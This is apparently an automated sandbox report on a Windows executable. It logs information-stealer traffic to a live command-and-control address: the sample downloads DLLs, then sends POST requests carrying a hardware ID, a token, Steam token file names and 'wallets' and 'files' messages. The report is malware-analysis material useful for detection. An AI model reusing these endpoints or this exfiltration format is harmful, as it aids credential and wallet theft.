65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 42 41 45 43 47 43 41 46 48 4a 4a 44 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 42 41 45 43 47 43 41 46 48 4a 4a 44 41 4b 46 2d 2d 0d 0a Data Ascii: ------GHDHDBAECGCAFHJJDAKFContent-Disposition: form-data; name="token"9b24fb6bd4cf9c73005472df3686a54dcda778dc6fb625d51de00acb9ca3a85f7afb9281------GHDHDBAECGCAFHJJDAKFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GHDHDBAECGCAFHJJDAKFContent-Disposition: form-data; name="file"------GHDHDBAECGCAFHJJDAKF--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAAKKFHCFIECAAAKEGCFHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 32 34 66 62 36 62 64 34 63 66 39 63 37 33 30 30 35 34 37 32 64 66 33 36 38 36 61 35 34 64 63 64 61 37 37 38 64 63 36 66 62 36 32 35 64 35 31 64 65 30 30 61 63 62 39 63 61 33 61 38 35 66 37 61 66 62 39 32 38 31 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 2d 2d 0d 0a Data Ascii: ------CAAKKFHCFIECAAAKEGCFContent-Disposition: form-data; name="token"9b24fb6bd4cf9c73005472df3686a54dcda778dc6fb625d51de00acb9ca3a85f7afb9281------CAAKKFHCFIECAAAKEGCFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CAAKKFHCFIECAAAKEGCFContent-Disposition: form-data; name="file"------CAAKKFHCFIECAAAKEGCF--
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJKFBAFIDAEBFHJKJEBFHost: 185.215.113.37Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIDBKKKKKFBGDGDHIDBHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 32 34 66 62 36 62 64 34 63 66 39 63 37 33 30 30 35 34 37 32 64 66 33 36 38 36 61 35 34 64 63 64 61 37 37 38 64 63 36 66 62 36 32 35 64 35 31 64 65 30 30 61 63 62 39 63 61 33 61 38 35 66 37 61 66 62 39 32 38 31 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 2d 2d 0d 0a Data Ascii: ------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="token"9b24fb6bd4cf9c73005472df3686a54dcda778dc6fb625d51de00acb9ca3a85f7afb9281------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="message"wallets------BGIDBKKKKKFBGDGDHIDB--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAKJDHIEBFIIDGDGDBAHost: 185.215.113.37Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 41 4b 4a 44 48 49 45 42 46 49 49 44 47 44 47 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 32 34 66 62 36 62 64 34 63 66 39 63 37 33 30 30 35 34 37 32 64 66 33 36 38 36 61 35 34 64 63 64 61 37 37 38 64 63 36 66 62 36 32 35 64 35 31 64 65 30 30 61 63 62 39 63 61 33 61 38 35 66 37 61 66 62 39 32 38 31 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 4a 44 48 49 45 42 46 49 49 44 47 44 47 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 4a 44 48 49 45 42 46 49 49 44 47 44 47 44 42 41 2d 2d 0d 0a Data Ascii: ------HDAKJDHIEBFIIDGDGDBAContent-Disposition: form-data; name="token"9b24fb6bd4cf9c73005472df3686a54dcda778dc6fb625d51de00acb9ca3a85f7afb9281------HDAKJDHIEBFIIDGDGDBAContent-Disposition: form-data; name="message"files------HDAKJDHIEBFIIDGDGDBA--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDAAKEHJDHJKEBFHJEGDHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 41 41 4b 45 48 4a 44 48 4a 4b 45 42 46 48 4a 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 32 34 66 62 36 62 64 34 63 66 39 63 37 33 30 30 35 34 37 32 64 66 33 36 38 36 61 35 34 64 63 64 61 37 37 38 64 63 36 66 62 36 32 35 64 35 31 64 65 30 30 61 63 62 39 63 61 33 61 38 35 66 37 61 66 62 39 32 38 31 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 4b 45 48 4a 44 48 4a 4b 45 42 46 48 4a 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 4b 45 48 4a 44 48 4a 4b 45 42 46 48 4a 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 4b 45 48 4a 44 48 4a 4b 45 42 46 48 4a 45 47 44 2d 2d 0d 0a Data Ascii: ------IDAAKEHJDHJKEBFHJEGDContent-Disposition: form-data; name="token"9b24fb6bd4cf9c73005472df3686a54dcda778dc6fb625d51de00acb9ca3a85f7afb9281------IDAAKEHJDHJKEBFHJEGDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IDAAKEHJDHJKEBFHJEGDContent-Disposition: form-data; name="file"------IDAAKEHJDHJKEBFHJEGD--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJKJKFCBKKJDGDHIDBGIHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4b 46 43 42 4b 4b 4a 44 47 44 48 49 44 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 32 34 66 62 36 62 64 34 63 66 39 63 37 33 30 30 35 34 37 32 64 66 33 36 38 36 61 35 34 64 63 64 61 37 37 38 64 63 36 66 62 36 32 35 64 35 31 64 65 30 30 61 63 62 39 63 61 33 61 38 35 66 37 61 66 62 39 32 38 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4b 46 43 42 4b 4b 4a 44 47 44 48 49 44 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4b 46 43 42 4b 4b 4a 44 47 44 48 49 44 42 47 49 2d 2d 0d 0a Data Ascii: ------KJKJKFCBKKJDGDHIDBGIContent-Disposition: form-data; name="token"9b24fb6bd4cf9c73005472df3686a54dcda778dc6fb625d51de00acb9ca3a85f7afb9281------KJKJKFCBKKJDGDHIDBGIContent-Disposition: form-data; name="message"ybncbhylepme------KJKJKFCBKKJDGDHIDBGI--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDBGHJKFIDHJJJEBKEHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 32 34 66 62 36 62 64 34 63 66 39 63 37 33 30 30 35 34 37 32 64 66 33 36 38 36 61 35 34 64 63 64 61 37 37 38 64 63 36 66 62 36 32 35 64 35 31 64 65 30 30 61 63 62 39 63 61 33 61 38 35 66 37 61 66 62 39 32 38 31 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 4b 45 2d 2d 0d 0a Data Ascii: ------AFHDBGHJKFIDHJJJEBKEContent-Disposition: form-data; name="token"9b24fb6bd4cf9c73005472df3686a54dcda778dc6fb625d51de00acb9ca3a85f7afb9281------AFHDBGHJKFIDHJJJEBKEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AFHDBGHJKFIDHJJJEBKE--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Network traffic

Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49730 -> 185.215.113.37:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A060A0 InternetOpenA,StrCmpCA,InternetOpenUrlA,CreateFileA,InternetReadFile,WriteFile,CloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00A060A0

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCBAECGIEBKKFHIDAKECHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 33 33 38 45 42 34 43 30 41 46 33 33 37 30 31 39 39 31 34 39 39 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 2d 2d 0d 0a Data Ascii: ------FCBAECGIEBKKFHIDAKECContent-Disposition: form-data; name="hwid"D338EB4C0AF33701991499------FCBAECGIEBKKFHIDAKECContent-Disposition: form-data; name="build"doma------FCBAECGIEBKKFHIDAKEC--

Source: file.exe, 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1904101313.000000000109E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.1904101313.00000000010F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de1
Source: file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll
Source: file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dllS
Source: file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll-
Source: file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dllo
Source: file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll
Source: file.exe, 00000000.00000002.1904101313.00000000010E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1904101313.00000000010F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll
Source: file.exe, 00000000.00000002.1904101313.00000000010E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll#C
Source: file.exe, 00000000.00000002.1904101313.00000000010F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll_so
Source: file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1904101313.000000000109E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000000.00000002.1904101313.000000000109E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dllW
Source: file.exe, 00000000.00000002.1904101313.00000000010F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll
Source: file.exe, 00000000.00000002.1904101313.00000000010F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php0
Source: file.exe, 00000000.00000002.1904101313.00000000010E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php3Ob
Source: file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpFirefox
Source: file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpba
Source: file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpf6
Source: file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpnomi
Source: file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpntime
Source: file.exe, 00000000.00000002.1904101313.00000000010E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpoO
Source: file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpser
Source: file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpw
Source: file.exe, 00000000.00000002.1904101313.00000000010E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpwO
Source: file.exe, 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37e2b1563c6670f193.phption:
Source: file.exe, 00000000.00000002.1904101313.000000000109E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37y
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
